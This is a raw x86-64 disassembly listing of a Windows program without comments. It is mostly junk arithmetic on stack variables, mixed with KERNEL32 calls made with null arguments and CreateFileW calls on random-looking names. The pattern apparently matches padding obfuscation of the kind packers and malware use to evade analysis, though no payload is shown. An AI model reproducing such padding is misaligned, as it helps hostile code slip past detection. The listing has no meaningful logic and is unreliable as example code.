mov rcx, qword [rsp + 0x14018]
mov dword [rcx], eax
movzx eax, word [0x140282838]
movzx ecx, word [rsp + 0x220c]
add eax, ecx
mov word [0x140282754], ax
movzx eax, byte [rsp + 0x6e6]
mov rcx, qword [rsp + 0x14c10]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x65f], al
mov rax, qword [rsp + 0x14d78]
mov eax, dword [rax]
mov dword [rsp + 0xad3c], eax
mov rax, qword [rsp + 0x14f00]
mov ecx, dword [rsp + 0xa428]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x147c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14c60]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2c2c]
xor eax, ecx
mov word [rsp + 0x1478], ax
movsx eax, byte [rsp + 0x18f]
movsx ecx, byte [rsp + 0x64c]
sar eax, cl
mov rcx, qword [rsp + 0x145f0]
mov byte [rcx], al
movzx ecx, word [rsp + 0x2cb8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2bd0], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.POGYOSDWjgMno
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15000], rax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xa65c], eax
movzx eax, word [rsp + 0x2dec]
mov rcx, qword [rsp + 0x14ab0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2c38], ax
mov rax, qword [rsp + 0x14900]
movzx eax, byte [rax]
mov byte [rsp + 0x727], al
mov rax, qword [0x14028ee70]
mov ecx, dword [rsp + 0x6998]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa5d8], eax
mov eax, dword [rsp + 0xa918]
mov ecx, dword [rsp + 0xa5c0]
add ecx, eax
mov eax, ecx
mov dword [0x14028ed00], eax
mov eax, dword [rsp + 0x9ddc]
mov dword [rsp + 0xad40], eax
lea rcx, [rsp + 0x21b08]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0x14ca0]
mov eax, dword [rax]
mov ecx, dword [0x140282748]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa59c], eax
mov rax, qword [rsp + 0x149c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa6bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8a28], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xa89c], eax
mov rax, qword [rsp + 0x14148]
movzx eax, byte [rax]
movzx ecx, byte [0x14028ee18]
sub eax, ecx
mov byte [rsp + 0x6f9], al
movzx eax, word [rsp + 0x1bbc]
mov rcx, qword [rsp + 0x14b18]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x22a8], ax
lea rcx, [0x1402840e8]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2f38], ax
mov rax, qword [rsp + 0x14630]
mov eax, dword [rax]
mov dword [rsp + 0xad44], eax
mov rax, qword [rsp + 0x14a40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa750]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9834], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xa548], eax
mov rax, qword [rsp + 0x14d60]
mov eax, dword [rax]
mov dword [rsp + 0xad48], eax
mov eax, dword [rsp + 0x75ec]
mov ecx, dword [rsp + 0xad24]
sub ecx, eax
mov eax, ecx
mov dword [0x140282878], eax
mov rcx, qword [rsp + 0x147e0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x14810]
movzx eax, byte [rax]
movzx ecx, byte [0x14028ece8]
or eax, ecx
mov rcx, qword [rsp + 0x144b8]
mov byte [rcx], al
movzx ecx, word [rsp + 0x2ba0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2ec0], ax
movzx eax, word [rsp + 0x2574]
movzx ecx, word [rsp + 0x2db4]
shl eax, cl
mov word [rsp + 0x2e10], ax
mov rax, qword [rsp + 0x13e88]
movzx eax, byte [rax]
mov byte [rsp + 0x728], al
movsx eax, word [rsp + 0x1d44]
movsx ecx, word [rsp + 0x2c28]
xor eax, ecx
mov word [rsp + 0x2dc4], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.5a4yh5rj4Dd0xAzoSFbuATggDdwXlYSx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15008], rax
mov rax, qword [rsp + 0x140b8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14df0]
mov qword [rsp + 0x15010], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15010]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x77ec], eax
mov rax, qword [0x14028ed40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa664]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9700], eax
mov rax, qword [rsp + 0x148a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2de8]
and eax, ecx
mov word [rsp + 0x1ccc], ax
movzx eax, byte [rsp + 0x681]
mov byte [rsp + 0x729], al
mov rax, qword [rsp + 0x14f68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa6dc]
add ecx, eax
mov eax, ecx
mov dword [0x14028ec94], eax
mov rax, qword [rsp + 0x14aa0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa56c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8f4], eax
mov eax, dword [rsp + 0x7350]
mov dword [rsp + 0xad4c], eax
mov eax, dword [0x14028ec3c]
mov ecx, dword [rsp + 0x8e7c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xab48], eax
movzx eax, byte [rsp + 0x71e]
movzx ecx, byte [rsp + 0x6fd]
sub eax, ecx
mov byte [rsp + 0x21a], al
movzx eax, word [rsp + 0x2d14]
mov rcx, qword [0x14028edf8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b78], ax
mov rax, qword [rsp + 0x14b78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9cb4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa94c], eax
mov rax, qword [rsp + 0x14a88]
mov eax, dword [rax]
mov dword [rsp + 0xad50], eax
lea rdx, [rsp + 0xa8fc]
mov rcx, qword [rsp + 0x14558]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xa894], eax
mov rax, qword [rsp + 0x14bd0]
mov ecx, dword [0x14028edd8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9794], eax
mov rax, qword [rsp + 0x14098]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xac34]
and ecx, eax
mov eax, ecx
mov dword [0x14028287c], eax
mov rcx, qword [rsp + 0x14200]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xad54], eax
mov rax, qword [rsp + 0x14f00]
mov eax, dword [rax]
mov dword [rsp + 0xad58], eax
movsx eax, byte [rsp + 0x35f]
movsx ecx, byte [rsp + 0x62e]
or eax, ecx
mov byte [rsp + 0x708], al
mov rax, qword [rsp + 0x14648]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2e8c]
cdq
idiv ecx
mov word [rsp + 0x2bf4], ax
movzx eax, word [rsp + 0x2cc0]
movzx ecx, word [rsp + 0x2c94]
sar eax, cl
mov word [rsp + 0x1f1c], ax
lea rcx, [rsp + 0x24a10]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xa2a4], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
movzx eax, byte [rsp + 0x717]
mov rcx, qword [rsp + 0x14808]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1fc], al
mov eax, dword [rsp + 0x6cf4]
mov dword [rsp + 0xad5c], eax
mov eax, dword [rsp + 0xa6c4]
mov ecx, dword [rsp + 0x6500]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x8e48], eax
movzx eax, word [rsp + 0x2d18]
mov rcx, qword [rsp + 0x14cf8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2c58], ax
mov rax, qword [rsp + 0x14c10]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x683]
sub eax, ecx
mov byte [0x14028ed22], al
mov rax, qword [rsp + 0x14f80]
mov eax, dword [rax]
mov dword [rsp + 0xad60], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x14ac8], rax
mov eax, dword [rsp + 0xa9e8]
mov ecx, dword [rsp + 0xa898]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa84c], eax
mov eax, dword [rsp + 0xad34]
mov ecx, dword [rsp + 0xa238]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8904], eax
mov rax, qword [0x14028ee60]
mov ecx, dword [rsp + 0x8590]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7600], eax
mov rax, qword [rsp + 0x14600]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2e80]
sub eax, ecx
mov word [rsp + 0x220c], ax
lea rax, [rsp + 0x1fc]
mov qword [rsp + 0x15018], rax
mov rax, qword [0x14028ec98]
mov ecx, dword [rsp + 0x7bf8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa5f0], eax
mov rax, qword [rsp + 0x14cc0]
mov eax, dword [rax]
mov dword [rsp + 0xad64], eax
mov rax, qword [rsp + 0x14968]
movzx eax, byte [rax]
mov byte [0x14028ec04], al
movsx eax, word [0x1402826cc]
mov rcx, qword [rsp + 0x142b0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2e68], ax
mov rax, qword [rsp + 0x143f8]
movzx eax, byte [rax]
mov byte [rsp + 0x72a], al
mov rax, qword [rsp + 0x14990]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x146d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1708], ax
mov eax, dword [rsp + 0xa0bc]
mov ecx, dword [0x14028275c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa430], eax
mov eax, dword [rsp + 0xa408]
mov dword [rsp + 0xad68], eax
mov rax, qword [rsp + 0x14f90]
mov ecx, dword [rsp + 0x718c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa678], eax
mov eax, dword [rsp + 0x6f50]
mov rcx, qword [rsp + 0x14d58]
mov qword [rsp + 0x15020], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15020]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa138], eax
mov rax, qword [rsp + 0x14e30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa74]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa838], eax
mov rax, qword [rsp + 0x14758]
movzx eax, word [rax]
mov rcx, qword [0x14028ec48]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2c6c], ax
movzx eax, byte [rsp + 0x1d0]
movzx ecx, byte [rsp + 0x6de]
or eax, ecx
mov byte [0x140281e73], al
mov eax, dword [rsp + 0xa788]
mov dword [rsp + 0xad6c], eax
mov rax, qword [rsp + 0x14b78]
mov rcx, qword [rsp + 0x14f90]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14970]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa578]
mov dword [rsp + 0xad70], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.LR3gTk5wB3e_aDjegfFH228qZegzjrBNWS
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15028], rax
mov rax, qword [rsp + 0x14248]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8bc0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xad3c], eax
mov rax, qword [rsp + 0x14168]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x147b0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b68], ax
movzx eax, byte [rsp + 0x675]
mov rcx, qword [rsp + 0x14e28]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x3e7], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
mov rax, qword [rsp + 0x14298]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x643]
sub eax, ecx
mov byte [rsp + 0x553], al
movzx eax, word [rsp + 0x2f24]
mov word [rsp + 0x2f3c], ax
mov rax, qword [rsp + 0x14ea8]
mov rcx, qword [rsp + 0x14180]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14028edc4], eax
mov rax, qword [0x14028ee50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa948]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x86f8], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa9f8], eax
movzx eax, word [rsp + 0x2c6c]
mov word [rsp + 0x2f40], ax
mov rax, qword [rsp + 0x14a90]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x637]
add eax, ecx
mov byte [rsp + 0x686], al
mov rax, qword [0x14028ed40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa85c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7d08], eax
lea rax, [rsp + 0xad0c]
mov qword [rsp + 0x15030], rax
mov rax, qword [rsp + 0x14f28]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14768]
mov qword [rsp + 0x15038], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15038]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x87b0], eax
mov rcx, qword [rsp + 0x14af0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xad74], eax
mov eax, dword [rsp + 0xa528]
mov rcx, qword [0x14028ee90]
mov qword [rsp + 0x15040], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15040]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6e48], eax
mov rax, qword [rsp + 0x14100]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1e20]
xor eax, ecx
mov rcx, qword [rsp + 0x14388]
mov word [rcx], ax
mov rax, qword [rsp + 0x14890]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14f58]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x14028eec1], al
mov rax, qword [rsp + 0x14618]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaaf8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa4a8], eax
mov rax, qword [rsp + 0x14ca8]
mov eax, dword [rax]
mov dword [rsp + 0xad78], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov rax, qword [rsp + 0x14768]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa930]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xabec], eax
mov eax, dword [rsp + 0xa5b4]
mov dword [rsp + 0xad7c], eax
mov rax, qword [rsp + 0x14c98]
mov ecx, dword [rsp + 0xaab0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x718c], eax
movzx ecx, word [rsp + 0x2e18]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2ee4], ax
movsx eax, byte [rsp + 0x289]
movsx ecx, byte [rsp + 0x695]
sub eax, ecx
mov byte [rsp + 0x643], al
mov rax, qword [rsp + 0x14fb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14648]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x20b0], ax
movzx eax, word [rsp + 0x1758]
movzx ecx, word [rsp + 0x1cf8]
and eax, ecx
mov word [rsp + 0x2ef0], ax
movzx eax, byte [rsp + 0x663]
mov rcx, qword [rsp + 0x141a0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [reloc.COMCTL32.dll_DrawInsert], al
mov eax, dword [rsp + 0xa794]
mov dword [rsp + 0xad80], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rax, qword [rsp + 0x14618]
mov rcx, qword [0x14028ec30]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa7a8], eax
movzx eax, byte [rsp + 0x3e7]
movzx ecx, byte [rsp + 0x411]
sub eax, ecx
mov rcx, qword [rsp + 0x149e0]
mov byte [rcx], al
mov rax, qword [rsp + 0x148d0]
movzx eax, word [rax]
mov word [rsp + 0x2f44], ax
mov eax, dword [rsp + 0xaa84]
mov ecx, dword [rsp + 0xa264]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c88], eax
mov eax, dword [rsp + 0x9dbc]
mov rcx, qword [rsp + 0x14618]
mov qword [rsp + 0x15048], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15048]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x825c], eax
mov rax, qword [rsp + 0x14288]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8344]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8cec], eax
mov eax, dword [rsp + 0xaa04]
mov dword [rsp + 0xad84], eax
mov rax, qword [rsp + 0x13e98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x68a]
sar eax, cl
mov byte [0x140281dab], al
mov rax, qword [rsp + 0x14d40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x24c8]
xor eax, ecx
mov word [rsp + 0x2e6c], ax
mov rax, qword [rsp + 0x13f70]
mov rcx, qword [rsp + 0x14608]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x69b0], eax
mov eax, dword [rsp + 0xa2a8]
mov dword [rsp + 0xad88], eax
movsx eax, word [rsp + 0x2dcc]
mov rcx, qword [0x14028ed58]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x147f0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x728]
mov byte [rsp + 0x72b], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x14ab0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2dd0]
add eax, ecx
mov word [rsp + 0x2eec], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
mov edx, 0xfec74
mov rcx, qword [rsp + 0x149b0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xa3d8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
mov rax, qword [rsp + 0x149c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14c38]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xb3], al
mov rax, qword [rsp + 0x14ae0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x921c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7cb0], eax
mov eax, dword [rsp + 0x73f4]
mov dword [0x14028ec00], eax
mov rax, qword [rsp + 0x14aa0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa38]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xacbc], eax
mov eax, dword [rsp + 0xa33c]
mov dword [rsp + 0xad8c], eax
mov rax, qword [rsp + 0x144c0]
mov ecx, dword [rsp + 0xaa44]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa558], eax
mov rax, qword [rsp + 0x14f58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2d7]
add eax, ecx
mov byte [rsp + 0x686], al
mov rax, qword [rsp + 0x14770]
movzx eax, word [rax]
mov word [rsp + 0x2f48], ax
mov eax, dword [rsp + 0xa66c]
mov ecx, dword [rsp + 0xac44]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xac30], eax
mov rax, qword [0x14028ec18]
mov rcx, qword [rsp + 0x14608]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x89b8], eax
mov rax, qword [rsp + 0x147a8]
mov rcx, qword [rsp + 0x14b78]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xac24], eax
mov rax, qword [rsp + 0x144f0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa590]
shl eax, cl
mov dword [0x140282708], eax
mov rax, qword [rsp + 0x14c10]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14280]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x6b8], al
mov rax, qword [rsp + 0x146d8]
movzx eax, word [rax]
mov word [rsp + 0x2f4c], ax
movsx eax, word [rsp + 0x2f24]
mov rcx, qword [rsp + 0x14eb0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2c54], ax
mov rax, qword [rsp + 0x13e88]
movzx eax, byte [rax]
mov byte [rsp + 0x72c], al
mov rax, qword [rsp + 0x141c0]
mov ecx, dword [rsp + 0xa59c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa510], eax
mov rax, qword [0x14028ecf8]
mov rcx, qword [rsp + 0x143d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x96d4], eax
mov rax, qword [rsp + 0x14808]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x716]
add eax, ecx
mov byte [rsp + 0x70f], al
movzx eax, word [rsp + 0x1e28]
mov rcx, qword [rsp + 0x14ab0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14650]
mov word [rcx], ax
lea rax, [rsp + 0xa92c]
mov qword [0x14028ebf8], rax
mov rax, qword [rsp + 0x14e30]
mov eax, dword [rax]
mov dword [rsp + 0xad90], eax
mov rax, qword [rsp + 0x14da8]
mov ecx, dword [rsp + 0xaa58]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa94c], eax
mov eax, dword [rsp + 0xa510]
mov dword [rsp + 0xad94], eax
movzx eax, word [rsp + 0x2e14]
movzx ecx, word [rsp + 0x2db4]
sub eax, ecx
mov rcx, qword [rsp + 0x14978]
mov word [rcx], ax
mov rax, qword [rsp + 0x14eb8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13f18]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x682], al
mov eax, dword [rsp + 0xa6d4]
mov ecx, dword [0x1402827dc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x8610], eax
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa5b8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xad58], eax
mov eax, dword [rsp + 0x8d30]
mov dword [rsp + 0xad98], eax
mov eax, dword [rsp + 0x6f20]
mov rcx, qword [rsp + 0x143a8]
mov qword [rsp + 0x15050], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15050]
mov eax, dword [rax]
shl eax, cl
mov dword [0x140282880], eax
mov eax, dword [rsp + 0xaa58]
mov ecx, dword [rsp + 0xa734]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xab28], eax
movsx eax, word [0x1402827fc]
mov rcx, qword [rsp + 0x14448]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x14360]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x14678]
movzx eax, byte [rax]
mov byte [rsp + 0x72d], al
mov rax, qword [rsp + 0x14168]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14d40]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2c30], ax
mov rax, qword [rsp + 0x14808]
movzx eax, byte [rax]
mov byte [rsp + 0x72e], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xa548], eax
mov rax, qword [rsp + 0x14f10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xacd4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa524], eax
mov rax, qword [rsp + 0x14de8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa74c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7958], eax
mov rax, qword [rsp + 0x14990]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2f28]
sub eax, ecx
mov word [rsp + 0x2ed4], ax
movzx eax, byte [rsp + 0x309]
movzx ecx, byte [rsp + 0x542]
add eax, ecx
mov byte [0x140281e57], al
mov rax, qword [rsp + 0x14ba8]
mov ecx, dword [rsp + 0xa634]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x899c], eax
mov eax, dword [rsp + 0xa53c]
mov dword [rsp + 0xad9c], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xa738], eax
mov rax, qword [rsp + 0x143d8]
mov rcx, qword [rsp + 0x140c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14ca8]
mov dword [rcx], eax
mov rax, qword [0x14028ec18]
mov eax, dword [rax]
mov dword [rsp + 0xada0], eax
mov rax, qword [rsp + 0x14778]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14b18]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1cc0], ax
mov rax, qword [rsp + 0x13f58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14fc0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x650], al
mov eax, dword [rsp + 0xa74c]
mov ecx, dword [0x14028ed6c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9438], eax
mov rax, qword [rsp + 0x14490]
mov ecx, dword [rsp + 0xac18]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa86c], eax
mov rax, qword [rsp + 0x14b00]
movsx eax, word [rax]
movsx ecx, word [0x140282764]
imul eax, ecx
mov word [0x140282884], ax
movzx eax, byte [rsp + 0x726]
mov byte [rsp + 0x72f], al
mov rax, qword [rsp + 0x14498]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2e6c]
sar eax, cl
mov word [rsp + 0x2ed0], ax
movzx eax, byte [rsp + 0x6e6]
mov rcx, qword [0x14028eca8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x68b], al
mov rax, qword [rsp + 0x141c0]
mov eax, dword [rax]
mov dword [rsp + 0xada4], eax
mov eax, dword [rsp + 0x8af4]
movzx ecx, al
mov eax, dword [rsp + 0xa728]
shl eax, cl
mov dword [rsp + 0x81a0], eax
mov rax, qword [rsp + 0x14490]
mov rcx, qword [rsp + 0x14e50]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6974], eax
mov eax, dword [rsp + 0xa55c]
mov ecx, dword [rsp + 0xad78]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x75ec], eax
mov rax, qword [0x14028ecc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaccc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8904], eax
mov rax, qword [rsp + 0x14698]
movzx eax, byte [rax]
mov byte [rsp + 0x730], al
movzx eax, word [rsp + 0x2d00]
movzx ecx, word [rsp + 0x2574]
and eax, ecx
mov word [0x14028ec6c], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x3439
mov rcx, qword [rsp + 0x14ea0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xace8], eax
mov rax, qword [rsp + 0x14b30]
mov rcx, qword [rsp + 0x15030]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x70cc], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0xa724]
mov dword [rsp + 0xada8], eax
mov rax, qword [rsp + 0x144c0]
mov rcx, qword [rsp + 0x14d88]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7790], eax
lea rcx, [rsp + 0x21b30]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea rax, [rsp + 0xa550]
mov qword [rsp + 0x15058], rax
movzx eax, word [rsp + 0x15d4]
movzx ecx, word [rsp + 0x2c70]
add eax, ecx
mov rcx, qword [rsp + 0x14918]
mov word [rcx], ax
mov rax, qword [rsp + 0x144b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x149e0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2a7], al
movsx eax, byte [str.rT_fB]
movsx ecx, byte [rsp + 0x72b]
add eax, ecx
mov byte [rsp + 0x190], al
movsx eax, word [rsp + 0x2cd4]
mov rcx, qword [rsp + 0x14360]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2ee8], ax
mov rax, qword [rsp + 0x148d8]
mov eax, dword [rax]
mov dword [0x14028ebf0], eax
mov eax, dword [0x14028277c]
mov dword [rsp + 0xadac], eax
